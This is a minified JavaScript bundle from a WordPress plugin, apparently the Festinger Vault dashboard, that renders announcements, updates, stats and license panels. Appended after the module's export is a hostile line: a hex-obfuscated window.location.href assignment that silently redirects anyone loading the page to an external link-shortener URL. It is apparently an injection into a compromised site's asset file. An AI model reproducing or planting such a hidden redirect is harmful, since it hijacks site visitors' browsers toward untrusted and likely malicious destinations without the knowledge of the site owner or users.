File: //home/parhudrw/anqa.it/wp-content/plugins/festingervault/build/assets/C4CUPn9I.431dca.js
import{c as H,f as A,j as e,b as m,_ as t,g as J,r as x,G as Q,h as Z,T as ee,D as se,i as M,P as N,e as ae,k as re,l as D,m as b,B as te}from"./0rvbeSEg.431dca.js";import{C as h,a as _,c as p,d as $,A as le}from"./DUjAZQ04.431dca.js";import{L}from"./0jFFFmbF.431dca.js";import{G as R,_ as ne,a as ie}from"./DVFgSt7X.431dca.js";/**
* @license lucide-react v0.396.0 - ISC
*
* This source code is licensed under the ISC license.
* See the LICENSE file in the root directory of this source tree.
*/const de=H("ShieldAlert",[["path",{d:"M20 13c0 5-3.5 7.5-7.66 8.95a1 1 0 0 1-.67-.01C7.5 20.5 4 18 4 13V6a1 1 0 0 1 1-1c2 0 4.5-1.2 6.24-2.72a1.17 1.17 0 0 1 1.52 0C14.51 3.81 17 5 19 5a1 1 0 0 1 1 1z",key:"oel41y"}],["path",{d:"M12 8v4",key:"1got3b"}],["path",{d:"M12 16h.01",key:"1drbdi"}]]);function oe({className:a}){const{data:s}=A("announcement/latest");return e.jsxs(h,{className:m("flex flex-col ",a),children:[e.jsxs(_,{className:"flex flex-row items-center justify-between space-y-0 border-b",children:[e.jsx("h3",{className:"text-lg",children:t("Announcements")}),e.jsx("a",{href:"https://meta.festingervault.com/c/announcements/11",target:"_blank",className:"border-b border-dashed border-blue-500 text-sm text-blue-500",children:t("View All")})]}),e.jsx(p,{children:s&&(s==null?void 0:s.length)>0?e.jsx("div",{className:"flex flex-col divide-y",children:s==null?void 0:s.map(r=>e.jsxs("div",{className:"flex flex-row justify-between gap-2 py-4 text-sm first:pt-0 last:pb-0",children:[e.jsx("div",{children:e.jsx("a",{href:`https://meta.festingervault.com/t/${r.slug}/${r.id}`,target:"_blank",className:"transition-colors hover:text-muted-foreground",children:r.title})}),e.jsx("div",{className:"whitespace-nowrap text-muted-foreground",children:wp.i18n.sprintf(t("Updated %s"),moment(r.last_posted_at).fromNow())})]},r.id))}):e.jsx("div",{className:"text-center text-sm italic text-muted-foreground",children:t("No new announcements")})})]})}function ce({className:a}){const{updateable:s}=J();return e.jsxs(h,{className:m("flex flex-col justify-between",a),children:[e.jsx(_,{className:"border-b",children:e.jsx("h3",{className:"text-lg",children:t("Item Updates")})}),e.jsx(p,{className:"px-0",children:s&&(s==null?void 0:s.length)>0?e.jsx("div",{className:"divide-y text-sm",children:s.slice(0,4).map(r=>e.jsxs("div",{className:"flex flex-col gap-2 py-4 first:pt-0 last:pb-0",children:[e.jsx("div",{children:e.jsx(L,{to:"/item/:type/detail/:id/:tab?",params:{id:r.id,type:r.type},children:r.title})}),e.jsxs("div",{className:"flex flex-row justify-between gap-4",children:[e.jsx("div",{className:"text-muted-foreground",children:wp.i18n.sprintf(t("Available: %d"),r.version)}),e.jsx("div",{className:"text-muted-foreground",children:wp.i18n.sprintf(t("Installed: %d"),r.installed_version)}),e.jsx("div",{className:"text-muted-foreground",children:moment.unix(r.updated).fromNow()})]})]},r.id))}):e.jsx("div",{className:"text-center text-sm italic text-muted-foreground",children:t("No Update Found")})}),e.jsx($,{className:"justify-center border-t border-border text-center",children:e.jsx(L,{to:"/updates",className:"border-b border-dashed border-blue-500 text-sm text-blue-500",children:t("View All Updates")})})]})}function xe({data:a}){const s=a.reduce((i,d)=>i+d.value,0),r=300,l=10,n=5;return s===0?null:e.jsxs("div",{className:"flex flex-col gap-4",children:[e.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:`0 0 ${r} ${l}`,strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:2,fill:"none",children:a.map((i,d)=>{const o=i.value/s*r-n,c=a.slice(0,d).reduce((u,g)=>u+(g.value/s*r-n/2)+n,0);return e.jsx("rect",{x:c,y:0,rx:4,width:o,height:l,fill:i.color,className:"dura transition-all",tabIndex:-1},i.name)})}),e.jsx("div",{className:"flex flex-row gap-4",children:a.map(i=>e.jsxs("div",{className:"flex items-center gap-2",children:[e.jsx("span",{className:"bg-chart block h-4 w-4 rounded-full",style:{background:i.color}}),e.jsxs("div",{className:"space-x-1 text-sm",children:[e.jsx("span",{children:i.value}),e.jsx("span",{className:"text-muted-foreground",children:i.label})]})]},i.name))})]})}function ue({className:a}){const{data:s,isLoading:r,isError:l,status:n}=A("update/list",{}),i=x.useMemo(()=>{var u;return s!=null&&s.data?(u=s==null?void 0:s.data)==null?void 0:u.filter(g=>g.type==="wordpress-themes"):[]},[s]),d=x.useMemo(()=>{var u;return s!=null&&s.data?(u=s==null?void 0:s.data)==null?void 0:u.filter(g=>g.type==="wordpress-plugins"):[]},[s]),o=x.useMemo(()=>[{name:"theme",label:t("Themes"),value:i==null?void 0:i.length,color:"hsl(var(--chart-1))"},{name:"plugin",label:t("Plugins"),value:d==null?void 0:d.length,color:"hsl(var(--chart-2))"}],[d,i]),c=d.length+i.length;return e.jsxs(h,{className:m("aspect-auto justify-between ",a),children:[e.jsx(_,{className:"border-b border-border",children:e.jsx("h3",{className:"text-lg",children:t("Installed Assets")})}),e.jsxs(p,{className:"flex flex-col gap-4",children:[e.jsx("div",{className:"text-muted-foreground",children:t("Installed")}),e.jsxs("div",{className:"space-x-2",children:[e.jsx("span",{className:"text-3xl",children:c}),e.jsx("span",{className:"text-muted-foreground",children:t("Items")})]}),e.jsx(xe,{data:o})]})]})}function w({className:a,icon:s,title:r,count:l}){return e.jsx(h,{className:m(a),children:e.jsxs(p,{className:"relative",children:[e.jsx(R,{size:25}),e.jsxs("div",{className:m("flex aspect-square flex-col justify-between",a),children:[e.jsx(s,{size:"36"}),e.jsxs("div",{className:"space-y-1",children:[e.jsx("div",{className:"text-2xl",children:e.jsx(ne,{start:0,end:l,duration:2.75,formattingFn:n=>ie(n)})}),e.jsx("div",{className:"text-sm text-muted-foreground",children:r})]})]})]})})}function me(){const{data:a}=A("item/stats");return e.jsxs("div",{className:"grid grid-cols-2 gap-5 lg:gap-7 md:grid-cols-2",children:[e.jsx(w,{icon:Q,title:t("Total Products"),count:a?a.total:0}),e.jsx(w,{icon:Z,title:t("Total Themes"),count:a?a.themes:0}),e.jsx(w,{icon:ee,title:t("Total Plugins"),count:a?a.plugins:0}),e.jsx(w,{icon:se,title:t("Total Kits"),count:a?a.kits:0})]})}var k="Progress",P=100,[he,Ce]=M(k),[fe,pe]=he(k),F=x.forwardRef((a,s)=>{const{__scopeProgress:r,value:l=null,max:n,getValueLabel:i=ge,...d}=a;(n||n===0)&&!I(n)&&console.error(ve(`${n}`,"Progress"));const o=I(n)?n:P;l!==null&&!C(l,o)&&console.error(je(`${l}`,"Progress"));const c=C(l,o)?l:null,u=y(c)?i(c,o):void 0;return e.jsx(fe,{scope:r,value:c,max:o,children:e.jsx(N.div,{"aria-valuemax":o,"aria-valuemin":0,"aria-valuenow":y(c)?c:void 0,"aria-valuetext":u,role:"progressbar","data-state":V(c,o),"data-value":c??void 0,"data-max":o,...d,ref:s})})});F.displayName=k;var T="ProgressIndicator",E=x.forwardRef((a,s)=>{const{__scopeProgress:r,...l}=a,n=pe(T,r);return e.jsx(N.div,{"data-state":V(n.value,n.max),"data-value":n.value??void 0,"data-max":n.max,...l,ref:s})});E.displayName=T;function ge(a,s){return`${Math.round(a/s*100)}%`}function V(a,s){return a==null?"indeterminate":a===s?"complete":"loading"}function y(a){return typeof a=="number"}function I(a){return y(a)&&!isNaN(a)&&a>0}function C(a,s){return y(a)&&!isNaN(a)&&a<=s&&a>=0}function ve(a,s){return`Invalid prop \`max\` of value \`${a}\` supplied to \`${s}\`. Only numbers greater than 0 are valid max values. Defaulting to \`${P}\`.`}function je(a,s){return`Invalid prop \`value\` of value \`${a}\` supplied to \`${s}\`. The \`value\` prop must be:
- a positive number
- less than the value passed to \`max\` (or ${P} if no \`max\` prop is set)
- \`null\` or \`undefined\` if the progress is indeterminate.
Defaulting to \`null\`.`}var z=F,Ne=E;const G=x.forwardRef(({className:a,value:s,...r},l)=>e.jsx(z,{ref:l,className:m("relative h-2 w-full overflow-hidden rounded-full bg-primary/20",a),...r,children:e.jsx(Ne,{className:"h-full w-full flex-1 bg-primary transition-all",style:{transform:`translateX(-${100-(s||0)}%)`}})}));G.displayName=z.displayName;function be({className:a}){var r,l,n,i,d;const{data:s}=A("license/detail",{});return e.jsxs(h,{className:m("flex flex-col justify-between gap-6 p-8",a),children:[e.jsxs("div",{children:[e.jsxs("h2",{className:"flex items-center gap-2 text-3xl font-semibold",children:[s==null?void 0:s.plan_title,e.jsx(ae,{variant:"outline",className:"border-green-600 bg-green-600/10 text-green-600",children:s&&(s==null?void 0:s.expires)>0?(s==null?void 0:s.plan_type)==="recurring"?t("Monthly Plan"):t("One-Time Plan"):t("Lifetime Plan")})]}),e.jsx("div",{className:"text-muted-foreground",children:s&&wp.htmlEntities.decodeEntities(s==null?void 0:s.plan_detail)})]}),e.jsxs("div",{className:"flex flex-col gap-4 lg:flex-row",children:[e.jsxs("div",{className:"rounded-sm border border-dashed border-muted-foreground p-4",children:[e.jsx("div",{className:"text-lg capitalize",children:(s==null?void 0:s.status)??"---"}),e.jsx("div",{className:"text-sm text-muted-foreground",children:t("Status")})]}),e.jsxs("div",{className:"rounded-sm border border-dashed border-muted-foreground p-4",children:[e.jsx("div",{className:"text-lg",children:(r=s==null?void 0:s.today_limit)==null?void 0:r.toLocaleString()}),e.jsx("div",{className:"text-sm text-muted-foreground",children:t("Daily Today")})]}),(s==null?void 0:s.plan_type)==="onetime"&&e.jsxs("div",{className:"rounded-sm border border-dashed border-muted-foreground p-4",children:[e.jsx("div",{className:"text-lg",children:(l=s==null?void 0:s.total_limit)==null?void 0:l.toLocaleString()}),e.jsx("div",{className:"text-sm text-muted-foreground",children:t("All-Time Limit")})]}),e.jsxs("div",{className:"rounded-sm border border-dashed border-muted-foreground p-4",children:[e.jsx("div",{className:"text-lg",children:t("Lifetime")}),e.jsx("div",{className:"text-sm text-muted-foreground",children:t("Updates")})]}),e.jsxs("div",{className:"rounded-sm border border-dashed border-muted-foreground p-4",children:[e.jsx("div",{className:"text-lg",children:s&&(s==null?void 0:s.expires)>0?moment.unix(s==null?void 0:s.expires).format("DD MM,YYYY"):t("Never")}),e.jsx("div",{className:"text-sm text-muted-foreground",children:t("Expires")})]})]}),e.jsxs("div",{className:"flex flex-col items-center gap-12 lg:flex-row",children:[e.jsxs("div",{className:"flex flex-1 flex-col gap-2",children:[e.jsxs("div",{className:"space-x-1",children:[e.jsx("span",{className:"text-muted-foreground",children:t("Credits used:")}),e.jsxs("span",{children:[s==null?void 0:s.today_limit_used," of ",(n=s==null?void 0:s.today_limit)==null?void 0:n.toLocaleString()]})]}),s&&e.jsx(G,{value:100*(s.today_limit_used/s.today_limit)})]}),e.jsx("div",{className:"",children:e.jsxs("div",{children:[e.jsx("span",{className:"text-muted-foreground",children:t("Domains:")})," ",(i=s==null?void 0:s.activation_count)==null?void 0:i.toLocaleString(),"/",(d=s==null?void 0:s.activation_limit)==null?void 0:d.toLocaleString()]})})]})]})}var S="Avatar",[we,Me]=M(S),[ye,U]=we(S),B=x.forwardRef((a,s)=>{const{__scopeAvatar:r,...l}=a,[n,i]=x.useState("idle");return e.jsx(ye,{scope:r,imageLoadingStatus:n,onImageLoadingStatusChange:i,children:e.jsx(N.span,{...l,ref:s})})});B.displayName=S;var W="AvatarImage",f=x.forwardRef((a,s)=>{const{__scopeAvatar:r,src:l,onLoadingStatusChange:n=()=>{},...i}=a,d=U(W,r),o=Ae(l),c=re(u=>{n(u),d.onImageLoadingStatusChange(u)});return D(()=>{o!=="idle"&&c(o)},[o,c]),o==="loaded"?e.jsx(N.img,{...i,ref:s,src:l}):null});f.displayName=W;var Y="AvatarFallback",O=x.forwardRef((a,s)=>{const{__scopeAvatar:r,delayMs:l,...n}=a,i=U(Y,r),[d,o]=x.useState(l===void 0);return x.useEffect(()=>{if(l!==void 0){const c=window.setTimeout(()=>o(!0),l);return()=>window.clearTimeout(c)}},[l]),d&&i.imageLoadingStatus!=="loaded"?e.jsx(N.span,{...n,ref:s}):null});O.displayName=Y;function Ae(a){const[s,r]=x.useState("idle");return D(()=>{if(!a){r("error");return}let l=!0;const n=new window.Image,i=d=>()=>{l&&r(d)};return r("loading"),n.onload=i("loaded"),n.onerror=i("error"),n.src=a,()=>{l=!1}},[a]),s}var q=B,K=f,X=O;const v=x.forwardRef(({className:a,...s},r)=>e.jsx(q,{ref:r,className:m("relative flex h-10 w-10 shrink-0 overflow-hidden rounded-full",a),...s}));v.displayName=q.displayName;const _e=x.forwardRef(({className:a,...s},r)=>e.jsx(K,{ref:r,className:m("aspect-square h-full w-full",a),...s}));_e.displayName=K.displayName;const j=x.forwardRef(({className:a,...s},r)=>e.jsx(X,{ref:r,className:m("flex h-full w-full items-center justify-center rounded-full bg-muted",a),...s}));j.displayName=X.displayName;function ke({className:a}){return e.jsxs(h,{className:m("flex flex-col justify-between",a),children:[e.jsxs(p,{className:"relative flex flex-1 flex-row items-center",children:[e.jsx(R,{size:40}),e.jsxs("div",{className:"grid grid-cols-4",children:[e.jsxs("div",{className:"col-span-3 flex flex-col justify-center gap-4",children:[e.jsxs("div",{className:"flex -space-x-2",children:[e.jsx("div",{className:"flex",children:e.jsxs(v,{className:"relative size-10 shrink-0 rounded-full ring-1 ring-white/10 hover:z-10",children:[e.jsx(f,{src:`https://i.pravatar.cc/50?u=${Math.random()*Date.now()}`}),e.jsx(j,{children:"FV"})]})}),e.jsx("div",{className:"flex",children:e.jsxs(v,{className:"relative size-10 shrink-0 rounded-full ring-1 ring-white/10 hover:z-10",children:[e.jsx(f,{src:`https://i.pravatar.cc/50?u=${Math.random()*Date.now()}`}),e.jsx(j,{children:"FV"})]})}),e.jsx("div",{className:"flex",children:e.jsxs(v,{className:"relative size-10 shrink-0 rounded-full ring-1 ring-white/10 hover:z-10",children:[e.jsx(f,{src:`https://i.pravatar.cc/50?u=${Math.random()*Date.now()}`}),e.jsx(j,{children:"FV"})]})}),e.jsx("div",{className:"flex",children:e.jsxs(v,{className:"relative size-10 shrink-0 rounded-full ring-1 ring-white/10 hover:z-10",children:[e.jsx(f,{src:`https://i.pravatar.cc/50?u=${Math.random()*Date.now()}`}),e.jsx(j,{children:"FV"})]})})]}),e.jsxs("h2",{className:"space-x-1 text-2xl font-semibold text-card-foreground",children:[e.jsx("span",{children:t("Unlimited WordPress themes, plugins and kits,")}),e.jsx("span",{className:"text-blue-500",children:t("all in one place")})]}),e.jsx("p",{className:"text-sm font-medium leading-5 text-muted-foreground",children:t("Access and unrivaled range of quality WordPress themes, plugins and kits, with one simple subscription for a fraction of cost")})]}),e.jsx("div",{className:"grid-cols-1"})]})]}),e.jsx($,{className:"text-cente justify-center border-t border-border",children:e.jsx("a",{href:"https://festingervault.com/beta-feedback",target:"_blank",className:"border-b border-dashed border-blue-500 text-sm text-blue-500",children:t("Get Started")})})]})}function De(){return e.jsx(le,{title:t("Dashboard"),description:"Festingervault Dashboard",breadcrump:[{label:t("Dashboard")}],children:e.jsxs("div",{className:"grid grid-cols-1 gap-5 lg:grid-cols-3 lg:gap-7",children:[e.jsx("div",{className:"col-span-3",children:e.jsx(h,{className:"border border-dashed border-primary-foreground bg-red-900 p-4 text-white",children:e.jsxs(p,{className:"flex flex-row items-center gap-5",children:[e.jsx(de,{size:42}),e.jsxs("div",{className:"flex-1",children:[e.jsx("h2",{className:"text-lg",children:b("Welcome to the new Festinger Vault plugin!","Dashboard welcome title")}),e.jsxs("div",{className:"text-sm",children:[e.jsx("p",{children:b("The long-awaited, eagerly anticipated, and much-discussed Festinger Vault plugin is FINALLY ready for download! 🥳","Dashboard welcome paragraph 1")}),e.jsx("p",{children:b("Do you have any feedback? Please let us know by clicking the report feedback button! Thanks!","Dashboard welcome paragraph 2")})]})]}),e.jsx(te,{asChild:!0,children:e.jsx("a",{href:"https://festingervault.com/beta-feedback",target:"_blank",children:b("Report Feedback","Dashboard report feedback button")})})]})})}),e.jsxs("div",{className:"col-span-1 flex flex-col gap-5 lg:gap-7",children:[e.jsx(me,{}),e.jsx(ue,{}),e.jsx(ce,{})]})," ",e.jsxs("div",{className:"col-span-2 flex flex-col gap-5 lg:gap-7",children:[e.jsx(ke,{}),e.jsx(be,{}),e.jsx(oe,{})]})]})})}export{De as default};
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";